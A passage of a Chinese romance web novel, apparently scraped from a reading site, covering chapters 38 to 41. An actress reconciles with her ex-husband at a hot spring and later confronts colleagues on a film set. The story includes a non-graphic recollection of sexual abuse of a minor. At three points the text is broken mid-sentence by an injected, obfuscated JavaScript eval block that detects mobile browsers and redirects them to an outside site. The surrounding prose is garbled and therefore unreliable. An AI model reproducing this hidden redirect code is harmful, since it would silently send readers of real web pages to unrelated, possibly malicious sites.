说来有些不可思议。他看起来不像循规蹈矩的人,但长到这么大,一次都没有缺席过除夕的年夜饭。 去年和前年都是云灯陪他回家过年的。今年情形特殊,两人偷摸把婚离了。他从头再来,还没把老婆追到手。云灯不一定愿意再跟他回家。 因此留在剧组过年,反而比他一个人回去跟爸妈解释强。 趁他通电话,云灯靠在池边开了瓶酒店赠送的鸡尾酒,果香馥郁,挺适合没事儿抿着解馋。 刚喝完一小杯,叶平川就通完电话冲过来,核弹似的跳进池里,“好冷好冷好冷!” “……” 炸开的水花落进她的杯子。云灯面不改色地倒上酒,把这杯混着洗澡水的特调鸡尾酒递过去,“尝尝。” 叶平川不疑有他,仰头一饮而尽,“好浓的水果味。” “是很香。”她给自己拿新杯子倒酒,很快喝完后舔着嫣红的嘴唇,有点意犹未尽,又添了半杯。 “那时候你还说自己不喜欢酒味,平常都不太喝酒呢。”叶平川感慨,“那也是骗我的吧?” “我们第一次一起参加饭局的时候?”云灯回忆片刻,“那是因为当时你帮我挡酒,自我感觉很帅的样子。当然要给你表现的机会。” “什么叫自我感觉……” 氤氲的热汽里,两个人脸颊都红得很像喝醉。她摸了摸叶平川的脸,还是忍不住溺爱一把,“嗯,客观来说也是很帅。” 丝丝缕缕的吐息带着酒香,扰动心绪。叶平川垂下眼,不自觉地盯她的嘴唇,喉结滑动。 视线又热又黏。云灯靠在池边,几乎被他的身形完全覆盖,连同呼吸也快要混为一体。 她倾斜手上的酒杯,用高脚杯的底座抵住他,轻轻往外推。 她没说一句话。叶平川却立刻清醒过来,默不作声地顺着力的方向划水,靠到另一边的池壁上去。 天色黯淡。升腾的水汽萦绕在两人之间,似真似梦的眼睛看不真切。 “你以为我就从来没骗过你吗?”他忽然开口道。 “我们第一次接吻,我跟你说以前从没亲过别的女孩。其实那根本不是我的初吻。” “哦?接着说。”云灯拿了个小托盘,放了酒,漂在温泉水面上。 轻轻一推,托盘就变成小舟,载着她的酒漂过去,撞上他的胸口。 叶平川拿起酒,又是一饮而尽,咬咬牙讲出自己最屈辱的黑历史。 他刚上初中时发育比同龄人晚,脸又长得白皙漂亮,很容易被当成女孩。 有一次放学,路过操场被一群高中部慕名而来的男生堵住告白。拒绝后领头的那个恼羞成怒,把他给强吻了。 即使后来他叫上程沐风去报仇,但已经发生过的事情无法从记忆中抹去。 短暂的两秒钟成为了他铭记一生的阴影。 也是在亲自体会过后他才真正明白,在这个世界上,女孩子天生就活得更艰难。所以她们就应该被保护,才算公平。 云灯听完只有一个感想。 这就是幸福小孩吗? 最不为人知的惨痛经历,也就是这样了而已。 她有点想笑,但又感觉他是真的很受伤,于是露出同情的表情点了点头,“可以理解。” 小托盘载着空杯,摇摇晃晃地漂回到了她手边。她倒上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493513|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒推回去,想公平起见,自己也应该要讲一个搞笑黑历史,“在我初中……还跟着我妈一起住的那年,遇到过很多不请自来的男人,看我的眼神色迷迷的,但是大多数又怂又色。只有一个敢真的下手,趁我妈不在,把我卧室房门锁撬开了。” “那是冬天,我们舍不得开暖气,所以在家里都会穿好几层。他闯进门,压着我拱了十来下,连我的底裤都没脱掉就不行了。” 她真觉得好笑,所以就面无表情地笑了一下,“我没有报警,但是讹了他一万块钱。我说他射到我秋裤上了,那条裤子还留着他的精.液,只要去验DNA就能证明是他干的。我还说会把事情告诉我爸,就算不能让他坐牢,被我爸知道了也一定会弄死他。” “其实我觉得恶心,早就把裤子扔了。我爸也不会替我出头,他根本不管我死活。但我确实恐吓住他,骗到了一万块钱……” “能不能不要这样。”叶平川实在忍不住出声,打断了她。 “哪样?” “就是这样,笑着说很痛苦的事。” “这算什么嘛。”她无所谓道,“早就过去了,这种旧事再怎么揭也不会伤害到我。我以前不想说,不是怕痛,更不是怕伤疤丑到你,只是因为懒,或者……为了防止破窗效应,不想让它们成为我的把柄。” 经历过创伤的人总是更容易被轻视,甚至被二次伤害。虽然离谱,但是人性里不争的事实。 可她现在说出来,不仅不担心叶平川的背叛,甚至还有些期待。 破窗效应再发生也没关系,正好帮她验证这个人是不可以信任的。反正她应对人渣的经验,远比对好人丰富得多。 怎么不算是种舒适区呢。 “我用骗来的钱逃到旧城区,在城中村里租了房子住,还给自己买了一条足金手链,就是你说款式老气的那条。买的时候很爽,但之后我就又担心,怕他反应过来以后找我麻烦。正好傅谦明出现了,我就想办法勾引他保护我。” 她也曾把这些经历对傅谦明和盘托出。只不过当时她的目的截然不同,是希望靠着卖惨装可怜,得到一些掺杂怜悯的心动。 她得到了自己想要的,以为余生再也不会对任何人提起这些往事。 没想到再说出来,语气里全然都是嘲讽。 “那时候年纪小,不知道命运给的礼物背后标着另一套价码。但如果重来一次,我应该还是会跟他走。因为——” 踌躇不前会是另一种惨法。她宁可到繁华璀璨的名利场里去被人啃掉骨头,也不愿烂在城中村用下半生后悔遗恨。 她停顿了一下,用某种无可救药的语气笑着说,“我就是这种人嘛,喜欢高风险,高收益。就是喜欢赌啊。” 话音刚落,一只有力的手将她拉向池中央。狂风暴雨般激烈的吻像是惩罚,让她再也说不出一句刺痛心扉的话。 她无处依靠,只能抬手攀着叶平川的背。像一株瘦草,在风雨中飘摇欲坠。 说得出那样的话的嘴唇吻起来却异常柔软。叶平川亲得很凶像要把她吞进肚子里,用力啃咬摩擦出血腥味,握着她的腰的手掌却在发抖。 她没有后退,柔软地回应,似乎不会被任何困难击溃,又好像已经被一遍遍击溃到了麻木的地步。千疮百孔的灵魂对痛苦太过熟悉,甚至还能分出余力来,给予他人安慰。 “你没有听过这种事吗。”她细细地喘/息,“吓到你了?” 叶平川摇头,才稍微放开她。没有分得太开,低语时嘴唇浅浅地擦过,“知道我这几天,脑子里一直在想什么吗?” “我很后悔自己爱睡懒觉,早上起不来床。否则就能跟你上一个小学,说不定还会分到一个班里。” 在另一条时间线里,说不定他和云灯早就认识,怎么也能当对青梅竹马。 有他在,她经历的一切烂事都不会发生。 云灯眨了眨眼,用稚嫩的声线说,“小川哥哥,可不可以让你的司机送我回家?” “可以去你家里吃饭吗?你的爸爸妈妈真好啊,可以让给我吗?” “可以。”叶平川又亲了亲她,认真道,“你想要什么都可以。” 云灯蓦地哧笑出声,挣脱他的身体束缚,获取些许新鲜空气,“在我十七岁的时候,对我说这种话,或许我真的会相信喔。可惜没有时光机,你没机会回到过去对我产生那么重大的意义。” 她回到池边倒了杯酒,举杯刚要喝,又叹了口气,“悲观的人总是不讨喜,对吧?” 叶平川重新坐到她身边,想了想说,“可我觉得悲观的人更可爱。” 他伸出手,在云灯胸前点了点,“悲观是因为,你这里认为这个世界本该是美好的,现实却事与愿违。所以你才为它难过。” 云灯微怔,莫名地感到酸涩,像被这只手穿过她的身体碰到了更深处,轻轻地握了一下。 她无法形容这种感触,只觉得浑身都不对劲起来,却又抓不出是哪里的问题,急需转移注意力。 “头发……好重。”她勉强挑出一处不对。高高挽起的发丝吸足了水汽,压得她抬不起头。 叶平川笑了笑,按住她的肩膀翻了个面,小心地解开她的发圈,“可能你自己不知道,云灯,你一看就是很厉害的人,什么都不怕,什么事都应付得来。我以前没有谈过恋爱,所以就想,你比我有经验多了,全都该听你的才对。” “以后就不能再那么听你的话了。因为你对自己不好,我总不能跟你一起对你不好。” 云灯实在不明白她有哪里对自己不好,怎么大家都这样说。 “大概是因为,我比你想象中更爱你。”叶平川说,“虽然你现在还不相信,对吧?但那也没关系。你可以向我反复求证,一千次,一万次都可以。” “……如果我不想要呢?”她转过身,湿漉漉的眼被泉水浸透了,“爱是很麻烦的东西。” “可是,没有人不想要爱。”叶平川怜惜地抚摸她的眼睛,低头亲吻她的眉心,“你是不是很怕我受伤?像那个不顾自身安危,也要送你离开的朋友一样。” 云灯抖了一下,忽然用力推开他。 从没有哪次,她的瞳孔震动得这么厉害,几近恐惧。 叶平川知道自己说中了。那是一份连她都尚未认清的事实。 “当两颗星星的距离小于洛希极限时,因为潮汐力的作用,有一颗会瓦解碎散,继而成为另一颗的星环。” 他再一次靠近,伸出手去拥抱云灯。她挣扎得很厉害,指尖在他赤/裸的身上划出血痕,“叶平川!你放开我,别说了!你说这些话让我觉得很,觉得很不舒服……” 叶平川不松手,也没有辩驳,闭上眼睛嗅她颈窝里发丝的香气,等她渐渐平复呼吸。 “我愿意变成你的星环,云灯。我和她一样。” 他说,“我不怕受伤。” 39. 第 39 章 “跟她一样?” 云灯刚要冷静,闻言又一口气堵到嗓子眼,气得用脑袋猛撞他肩膀,“你知道什么啊,就敢说这种自以为是的话,说要跟她一样!” “好好好,我不说了。”他装模做样地嘶气,其实根本没被撞疼,“我又惹你生气了?” 云灯没有被他骗到,却还是停了下来。是因为觉得自己现在的反应很蠢。 在她最迫切地吸收养分,试图掌控人生时,有人告诉过她,智者多假面,情绪外露的人都很愚蠢。 她几乎当成铁律,潜移默化地刻进脑子里遵循。 于是越来越熟练地露出笑容,越来越讨厌自己有情绪不稳定的时候。越来越严苛地演变成了讨厌自己有任何情绪,接着又变成讨厌让她有情绪的人。 这是她很多时候很烦叶平川的主要原因。 “知道就少来惹我。”她语气很重地说,“你这样真的很烦。” 叶平川不思悔过地笑,低头亲她的锁骨,“别烦我啊,别烦。” 他的脑回路跟云灯截然相反。 以前怕惹她生气,现在看到这样反而有点欣慰。 这样也好。比那种一成不变的,波澜不惊的微笑要好得多。至少他能看清楚,她是真的在生气。 “你以前都没跟我提过,在港市有关系那样一个朋友。”他说,“你们关系一定非常要好,所以她才会愿意为你做危险的事。” “你是这样想的么?”云灯冷笑,“可事实上我把她像条狗一样拴在屋里,不送她去学校读书,不许她独自交友出门。我有兴致了才带她去逛街旅游,心情不好就随便骂她,不给她饭吃,她饿到低血糖晕倒也不敢对我说。” “知道完全拥有一个人是什么感觉吗?你根本无法想象,当权力无限膨胀时,人性能丑陋阴暗到什么地步。她的命运捏在我手里,我可以随便调教她,虐待她,把她拆成零件当玩具积木拼都可以。你也想过那种生活吗?叶平川,你想要给我当狗吗?” “她是因为逃不掉,因为惧怕我才留在我身边,甘心为我做任何事的。可现在你对我说,那是爱?应该确诊成斯德哥尔摩患者才对吧?还有你。我处心积虑地跟你结婚,用完之后又把你一脚踹了,你现在应该花点心思好好想想该怎么报复我,而不是跑来说什么再重新追我一次。你也脑子有病吗?” 水汽氤氲的庭院里回荡着她的质问,语速又急又快,咄咄逼人。 对准的,却并不是叶平川。 云灯在他一言不发的间隙里艰难呼吸。她不想再泡了,觉得这水池热到快要让人喘不上气。 “你最近总是对我说这样的话。” 叶平川的手心很热,仍贴在她的后背上,声音比往常还要平稳许多,“为了什么?是想让我觉得你很坏吗?” “……” “可是我觉得你真诚又坦率。” 云灯纳闷了,“这词跟我有半毛钱的关系吗?” “我确实不太认识她。但我看得到你。” 泡皱的指腹刮过她的眼角,带起短暂的粗糙的痒。他轻声说,“一个能把人逼成斯德哥尔摩的坏蛋,自己不会这么难过。” “……不想听这种大道理。” 云灯打掉他的手,自己擦掉莫名其妙的眼泪,“不想跟你说话了。” “又烦我了?”借着水的浮力,叶平川抱着她轻轻摇晃,“好啦,不想跟我说话了也没关系。换我来说。” “之前有段时间……就是我们离婚前那段时间,你就总是烦我。每次见面,想跟你多说几句话,你都会嫌我烦。你说拍戏见不着面感情会变淡,我一收工就去你剧组探班,你又说不想天天看见我在眼前晃,太心焦。我怎么做你都不高兴。那时候我怎么都想不通,是不是只要跟我沾边,你就都不高兴?” “现在我好像明白了。你不是因为烦我,才想要离婚。而是为了离婚,才故意烦我的对不对?你就是想找一个理由,自然地跟我分开,所以故意制造那些感情不合的场面。” “还记得吗,不久前我在组里问过你,是不是在害怕什么。当时你顺着我的话,给了我一个看似合理的答案,可那也不是真话。我现在才想通。你并不是害怕受伤,才未雨绸缪地放弃我们的关系。” “你是最不害怕受伤的人了,云灯。你害怕的是爱。” 他说,“在你眼里,爱与被爱都是很恐怖的事,对吗。” 也没有到恐怖的地步。云灯无声地想。 只是很陌生。 很煎熬。 她和叶平川的婚后生活,是从未有过的,难以想象的,平静温馨的生活。 像童话故事的结尾,王子和公主终于走到了一起,正常人梦寐以求的那种幸福生活。 可是她没有演过童话,也不是真正的公主。她更习惯乱七八糟的狗血剧情,越是狗血,就越司空见惯。 那才是她可悲的舒适区。 怎么能怪她呢?人总是回到舒适区才会觉得更自在,因为够熟悉。哪怕会陷入对痛苦的反刍。 比起爱,她更习惯应对痛苦。 和叶平川在一起,就像温水煮青蛙。她深陷在某种温柔的煎熬里,浑身使不上力气,不习惯。不舒服。 她也不想让自己习惯。否则当痛苦再次降临时,她要怎么从容应对呢。 到那时,她一定已经被爱侵蚀成了一个脆弱的蠢货。 这么想好像真的有点恐怖。 她对叶平川说,“你把我描述得很奇怪。终于发现我不正常了是吗?” “你只是很特别。”叶平川道,“有一个问题我始终都没有察觉,前些天又找认识的医生聊了聊,才忽然想到。你会不会觉得,我答应离婚,是因为不爱你呢?” “……”云灯顿了顿,“难道不是吗。” “当然不是了。我真的很难过,很生你的气,想把你关起来打一顿,想钻进你心里好好看看,你到底在想什么。”他缓慢又真挚地说。 “但没有不爱你。难道我不可以一边生你的气,一边爱你吗?” 那时他意识到两人的关系出了问题,还约了最好的,专门面向夫妻的心理咨询。但云灯已经完全不想配合他浪费时间,只叫他省点钱找个好律师,免得离婚了还要净身出户。 后来他还是去看了医生,一个人。哪怕只有一个人,靠学习,靠猜测,靠分析她一次次真假互掺的话,他也要找到这段感情里的症结究竟在哪。 扶在她后背的手指揉搓着湿漉漉的发尾。这种无意识的小动作消解了对话的严肃和正经,仿佛他们和往常一样,只是随便聊些可有可无的日常小事。 她觉得叶平川有做心理医生的潜质。能让她产生“这个人好像有点懂我”的错觉,也能不着痕迹地尝试改变她的想法,就算是专业的心理医生,也并不是谁都能做到的。 可是她见过的医生太多了,剖析和被剖析的套路都如明镜于心。在他轻声细语的瞬间,她就明白其中的意图。 “好努力啊,叶老师。” 她沉默半晌,长长地叹了口气,“我真的很想相信你,然后感动得趴在你的胸肌上大哭一场。” 或许叶平川想要挽回感情的目的,真的是放不下她。但人的脑袋都很复杂,又善变。她无法确定叶平川在想什么,于是只能看他做了什么。 一定有那么一刻,他认为两人分开更好,才会同意离婚的。 只要有那么一刻存在,这婚就离得不亏。 就不值得她再回头。 “我知道。所以就说嘛,你怀疑我一万次也没关系。”叶平川做足了心理准备,即使被打击,也没有表现出失落。“以后的日子长着呢,会有机会让我证明的。” 他总是说以后。 好像只要时间够长,就能弥补所有。 “可错了就是错了。”云灯倦倦地说,“以后你只要看到我,就会想起那个错误的开始。你还是会难过,还是会生气,我们还是会吵架,再分手。一遍遍重蹈覆辙而已,没有意义的。” 故意对着他的车窗涂口红那次? “可我觉得……那是个很美的开始啊。”叶平川嘀咕。 真的很美。 他第一次见云灯是在剧本围读。她半扎着头发,一身浅色卫衣裤,戴着棒球帽走进来,摘掉口罩寒暄,露出素白清瘦的脸,眼下还有两抹似有若无的阴影。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545723|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 绝对算不上容光焕发的状态。她没有化一点妆,没有热烈的红唇,也没有长发被风吹拂的摇曳风情。清冷谦逊,低调地坐在自己的位置上准备工作。 可他坐在对面看着,几乎忘记自己是来干什么的,觉得她只是安静地坐在那里翻开剧本,就光芒四射。偶尔抬头望他一眼,更惊心动魄。 彼时他尚不熟悉爱情降临的悸动,还曾傻傻地将其归因于对业内有名的前辈的憧憬。 她总以为他们的感情,是在剧组拍摄的接触里发展起来的。其实不是。 他渴望拥有的一切,都从第一眼开始的。 云灯也好,潘云灯也好。 彼时彼刻,此时此刻,他渴望的都是眼中看到的人。 他后悔自己没早点认清那是一见钟情,否则就会是他先去勾引云灯。她就什么都不用做了。 “就当我是在乱猜吧,我总觉得你一直介意我们的开始不够纯粹,是在自责。你说我只要想到这个会难过,难道不是因为你自己的体会,才会笃定的吗?”叶平川低低道,“所以你比我更难过,比我难过了更久。我却一直都没有发现。” “我想说,你已经做得够好了,每一个选择都拼尽全力,没有什么错误,不正常,只是不同而已。如果你选择另一条路,就勉强称为一条更正确的路吧,但或许你又在那里遇到了别人呢,或许我们压根不会再有交集了。那我还是宁愿在这条错误的路上,被你耍得团团转。” “我不难过的。被你利用的时候我也过得很幸福啊,谁在乎那些。但就是,要是你早点告诉我就更好了。你想干什么我都可以陪你,我们一起降妖除魔,或者狼狈为奸。你还不知道我吗,我脑袋里馊主意很多的。” “现在不都流行说人生是旷野么,那我们也可以四面八方地走。你不要担心选错了人生就要完蛋,就没办法回头。我们不回头,就一起随便乱选,选错了一起收拾烂摊子,再继续乱七八糟地走下去。总会有办法走下去的,实在不行我还能摇人呢。再再不行,我带你回祖宅,点香跪祠堂,请祖宗出山给我们收拾烂摊子……” 你那摇来的是人吗。 云灯静静地听着他把责任往自己身上揽。终于还是被逗笑,拍了拍他的脸,发出啪啪的水声,“你是不是泡晕了。特意把我带到这么远的地方来,就是为了说这些么?” “还想要好好跟你道歉。”叶平川说,“我们本来已经是全世界最亲密的关系,却变成今天这样,不是因为你演技太好,而是因为我太疏忽你的感受。抱歉,我什么都不懂……才把我们搞砸了。” “可以原谅我吗?以后我会好好表现的。” 停留在他脸颊上的手从轻拍变成揉捏,带着一点玩弄的意味。 云灯好像把他的话听进去了,又好像没有。她眼睛里没有笑意,那种冷静审视的目光,仿佛穿透他的身体直达灵魂深处,让他心跳暂停。 或许他真的爱上了一个坏女人。 叶平川有一瞬恍惚地想。 真正的她就是这样冷酷,漠然,不会被轻易打动的。他今天就算哭死在这,落在她眼里也会觉得是别有用心。 可她多不容易啊。 比天生就纯真善良更不容易的,是她愿意主动收敛恶劣的那一面,温柔又周到地对待所有人。她想做一个好人,所以宁愿放弃跟他在一起的好处,主动离婚也不想继续伤害他。 那她自己呢。 难道只要还笑得出来,就算不难受么。 她真的需要一只小狗,给予她无条件的忠诚陪伴,让她更轻松地活着。 还有比他更合适的人选吗? 只要还有他在,她就可以尽情地把恶劣的那一面展露在他的身上,减轻自己心上的负担。不需要绳子锁链,不需要任何威胁,他也不会逃走。因为他知道,她不是想要故意伤害他。她只是有点难过。 叶平川干涩地吞咽口水,想要再罗列出几个自己适合留在她身边的理由。却看见她突然抬起手来,做出一个开枪的手势。 云灯用食指指尖抵住他的眉心,红润的唇瓣抿起又分开,发出啵的一声响。像花苞绽放的刹那。 她说,“原谅了。” 40. 第 40 章 其实有什么可原谅的呢。 他并没有做错任何事。 云灯抚摸他舒展的眉心,视线和指尖同步下移,划过鼻梁,停在唇峰,轻轻按下去,瞬间被裹入温热的呼吸。 她相信叶平川能做出那些事。世界上就是有这种人,可以为一瞬的真心全力以赴,即使知道会无法全身而退也无所谓。 俗称输得起。 这种松弛感她一辈子都不会有。 她可不行。她要权衡利弊,要精打细算,要在这遍地都是坑的世界里,给自己筛选出一个最佳选择,确保能通向对她最有利的结果。 贴近叶平川的身体,她总能闻到特别的气味,比起皮肉,更像是精神体散发出来的,像健康的,新鲜的有机食物。 也能吞进肚子里就好了。 把他吞下去,能变成他吗? “我有点饿了……”她喃喃道。脸颊贴着叶平川的喉结,能感觉到它在滑动。 “要吃一下我吗?”叶平川跃跃欲试。 他仍猜不到云灯在想什么,但显然不会放过任何可以贴贴的机会。 她没说什么,却屈起腿挤开他的膝盖,不上不下地蹭了蹭,立刻被抓住了。 “……”叶平川声音低了两个度,眸光紧紧地盯着她,“来真的?” 她闭起眼睛,轻声回答了上一个问题,“要。” 不知道自己哪句话说对,才得到这样的奖励。叶平川猛地收紧手臂,低/喘一声吻了上去。 他今晚说了很多话,舌头都要干了,很该另寻一处水源解渴。可又不想放开来之不易的情迷,接吻的间隙拿起酒杯仰头一饮而尽,俯身唇舌间残留的果香渡了过去。 漂在水面上的酒盘被打翻,杯盏在温泉里沉浮又沉浮。 她被高高地捧起,又牢牢地拥住。 生理的快乐把麻木的灵魂唤醒,盘旋在身体上空,轻盈得快要乘风飞走。 又变成飘扬的雪花,打了个旋,落进炽热的臂膀里一点点融化。 “我爱你。”叶平川贴在她耳边说,“你会知道的。” 她知道。 她知道真心也是瞬息万变。但还存在一刻,便可以享受一刻,何必浪费呢。 大半年没做过,身体里的齿轮咬合得格外紧密。温泉一次,床上一次,浴缸里还分不开。有人得寸进尺,云灯想骂又没力气,只能任凭为所欲为地昏睡过去。 短暂的度假,她连自己去了哪都不知道就结束了,隔天早晨回剧组,整个航行还是睡过去的。 小天来接机,听她的顺路买了避孕药,看着她利落地吃下去,眼神充满了对劲爆八卦的探索欲,凭借良好的职业素养强行压制了。 叶平川看她吃药,有点失落。 关键时刻她没有喊停,他还抱了点幻想的。 父凭子贵的美梦只做了一夜就破碎了。 “我们先走啦。”云灯摸了摸他的脸,嗓子还有点哑,“剧组见。” 叶平川另有工作行程,没办法跟她们一起回组,临走时百般不愿,拉着她接了个长长的吻才肯放人。 回剧组的路上,梁天真叫一个欲言又止。 她现在后悔在医院时为了安慰云灯,自作聪明地骂叶平川了。 不是,谁能想到这两人和好这么快啊,5G速度都赶不上她。 “昨天组里有没有出什么事?”云灯问她。 “啊……哦哦有,我正要说呢。”梁天抓紧道,“不过也不算是出在组里啦。” “跨年夜当天江煜不是杀青了么,最后一场拍的是和申雪舒吻戏。那会儿她男朋友也来探班,正好就在旁边看着,气氛可那啥了。不过当时姐你也在拍戏,我还没来得及跟你八卦,你就被叶老师带走了。” “结果昨天小江出席直播活动,身上穿的品牌赞助是不合身的,不知怎么连露出的配饰也被搞错,变成了自己代言的竞品。他自己也没了解过吧,还在那一顿展示一顿夸呢。” 梁天说,“当时弹幕里就争议很大,估计品牌方也忍不了。直播结束他晕在后台,被送医院了。” 好在杀青戏已经拍完了,否则他在剧组出事,还要算成工伤呢。 只能说一句,这孩子真够倒霉的。 “嗯。”云灯点点头表示知道了,又问,“你把这两件事连起来说,是看出什么了吗?” “嘿嘿,有点。” 她跟在云灯身边久了,有了些见识,多少也被锻炼出心眼子,“申雪舒那个男朋友,一看就不是普通人。小江个倒霉孩子,现在估计躺在医院里,想破脑袋也不知道自己动了谁的蛋糕。” 云灯不置可否,但觉得她说话挺有意思。直到走进片场,看见申雪舒又笑起来,“呦,小蛋糕来了。” “你心情倒是好。” 申雪舒已经做好妆发,正在复习剧本。见她回来,眼睛亮了一下,又立刻垮起个小猫脸,“偷偷跑出去跟前夫哥玩爽了?有没有想过我们这些打工人的感受。” 她在片场打完工,还要去傅谦明身边继续加班。有没有人懂。 云灯各种意义上都睡得很饱,很难不神清气爽,容光焕发。给了她一点打击。 “没腾出空来带纪念品。”云灯格外嚣张道,“飞机上的巧克力饼干要不要尝一下?也算特产吧,我刚刚路上吃完还剩了点。” 申雪舒大呼没人性,朝她挥了挥拳头。背后叶清走过来,凉凉地说,“还有功夫闲聊?全组都在等你。陛下好大的架子啊。” 她脸色不大好,因为公司里的艺人出了事,这两天估计都忙于应付。云灯饶有兴致地扫了她两眼,才去换戏服。 今天要拍的内容她熟悉于心,妆发在回来的路上几乎也已经做好了,比前期英气,但并没有女扮男装的硬朗。承袭帝位,也不代表就要把自己变成男人那样活着。 不用准备,她和导演简单沟通了一下走位,直接开始拍。 今天这段戏三人都在,是讲述言秋亲自来谈判,要利用淑贵妃手里残存的实力,给自己做点脏活。 苍蝇腿再小也是肉嘛。 当初淑贵妃谋夺皇位,按理说怎么着都是活不成的,但她出身谢氏一族,谋逆是诛九族的大罪,真要是依律处置了她,谢凭渊也得跟着一起被砍头。 彼时先帝缠绵病榻,政事交由几位皇子分治,以长公主为先。为了保住谢凭渊,言秋精心筹划,将逼宫之事瞒得密不透风,宣称贵妃失心疯,言行无状,意外暴毙。实则将她秘密地送出宫门,运到公主府里的偏院关押起来。 如此欺君罔上,但凡出一丝披露,也是恕无可恕的大罪。 可如今天下之主的位置已是她在坐。还有谁敢追究前尘往事呢? “听说你被关在这里,还整天想着笼络人心,妄想要逃出去。”新任的女帝眉目飞扬,丰神俊秀,语调中已有天下之主的威压,“怎么,是要起义么?” 前朝的贵妃却丝毫不把这位新帝放在眼里,横眉冷笑,“听说你即位以来大开杀戒,朝堂之上近乎半数的老臣都遭你清算灭口。怎么,是想灭国?” “贵妃深居不出,消息还能如此灵通,真是出乎朕之意料。” 当初留淑贵妃一命,除了要保谢凭渊,还因为她手里豢养的家族死士,隐藏极深且实力强劲,多年过去也尚未完全盘查清楚。 培养死士并不容易,投入巨大,比起全部灭口,将其调度起来才不算浪费。 但这支精锐,只认淑贵妃一个主人。 她显然也知道自己颇有利用价值,知道新帝不会轻易要了她的命,才会态度肆意戏谑,全无尊敬。 在她眼里,言秋终究是个年轻女孩,若无谢凭渊辅佐,根本坐不稳帝位。 若她能得到机会出去…… 她心中对最高权力的渴望,从未停息。 两人对视之间火花四溅,野心与狂妄全都写在脸上,谁也不落下风。 言秋要用她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552675|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然也不会毫无准备,“进来吧。” “许久未见,你们应当是有许多话要说。” 若给她安排职位,该由谁来管理才能确保不被收买呢? 已背叛过的人,就成了最佳选择。 申雪舒踏入内室,缓步走到两人中间。两道凌冽的目光直扫过来,险些没接得住戏。 忽然之间身份反转,要给以前的主子当领导了,迎面就是一份想立马弄死她的恨意,腿软也正常吧。 她定了定神,稳步走过去,立于言秋身边垂首道,“陛下吩咐。” 淑贵妃大笑,咬牙的力度恨不能啃下她身上一块肉,“好一个陛下!枉费我往日着力培养你。畜生,走狗!” 千算万算,没算到自己会败在倒戈的心腹身上。 “可惜她不是狗。”言秋目光澄澈望向她,掷地有声。“她是人。” 申雪舒缓缓站直了脊背。 这段三人同台的文戏台词很多,连导演都没想到会一遍拍过。 “可以可以。”邓晓琼对成品满意,头也不抬道,“休息会儿拍下一场。淑贵妃结束了,言秋去换妆发。” 叶清只有一场戏,拍完就下班,但没像往常一样立刻走人。 化妆间里,云灯瞄着镜子里她的模样,像是有话要说,换完造型就给了两句话,让服装师先出去。 “你是故意让他看见的么?”叶清开门见山道。 那场吻戏本来就是可有可无的,也不是非要在跨年夜那天拍。 虽然掌镜的人是邓晓琼,但只要云灯有心,知会一声,完全可以避免正好给傅谦明看到的局面。 云灯心思玲珑,不可能想不到后果。 她放任,只能说是故意的。 “连累你赔钱了?”她对着化妆镜的反光眨了眨眼睛。“赔多少啊,家底不够?实在不行众筹吧,我给你捐两百。” “……” 一脸“怎么了,打死我”的贱样。叶清吃了个暗亏,很难对她有好脸色,“装得人模人样,阴招倒是不少。跟傅谦明的那几年让你学着精髓了是吧。” 她又露出无辜的表情,“可我明明什么也没做。” 这叫无招胜有招。 也算是给她可怜的孟瑜宝宝出一口气。 热衷于撕脸皮扯头花的年纪已经过去了,但实际利益还是不能吃一点亏。 云灯起身理了理衣襟,嚣张完脸色一点点变淡,转身睨着她,“在我组里搞这些见不得光的事,你就该知道会有什么风险后果。” “那天晚上,根本就不是我指示他把你的人带去的。两个蠢货而已。” 叶清说,“你以为护犊子有什么好结果?那个叫孟瑜的难道会有多感激你?戏都没拍完,不也毁约回家了么。” “我可不像你,就指着那一个姑娘砸资源人脉,恨不得捧到跟自己平起平坐。想往圈里混的漂亮小孩多到挑不过来好么,江煜算什么,少了他一个,我也……” 云灯本来懒得听她那副人上人的腔调,都要走出去了,忍无可忍又倒退回来两步,抓住她披肩的长发,猛地往下一挫。 “操!” “你自己不把人当人看,别连我也算上可以吗?感谢呢。” “……” 头皮刺痛,叶清一身半会儿都没反应过来,看着她的背影怒火中烧,“你他妈是不是脑子有病啊!” 云灯没回头,摆了摆手,“需要植发就联系我助理,费用算我的。” 都是一个爸生出来的,怎么两模两样。 她听叶清说的话有点膈应,心情不爽,晚上拍完戏,回酒店路上就给叶平川打了个电话,问他什么时候回来。 打算再折腾下另一个姓叶的,姐债弟偿。 叶平川不知情,即时进行了一个简单直接的翻译,“这么快想我了。” 他又进一步思考原因,飞快地停顿一下,隐隐带着点笑意,“是不是昨天伺候得你很满意?” 41. 第 41 章 忘了哪位名人说过,爱就是要做出来的,越做越爱。 叶平川深以为然。 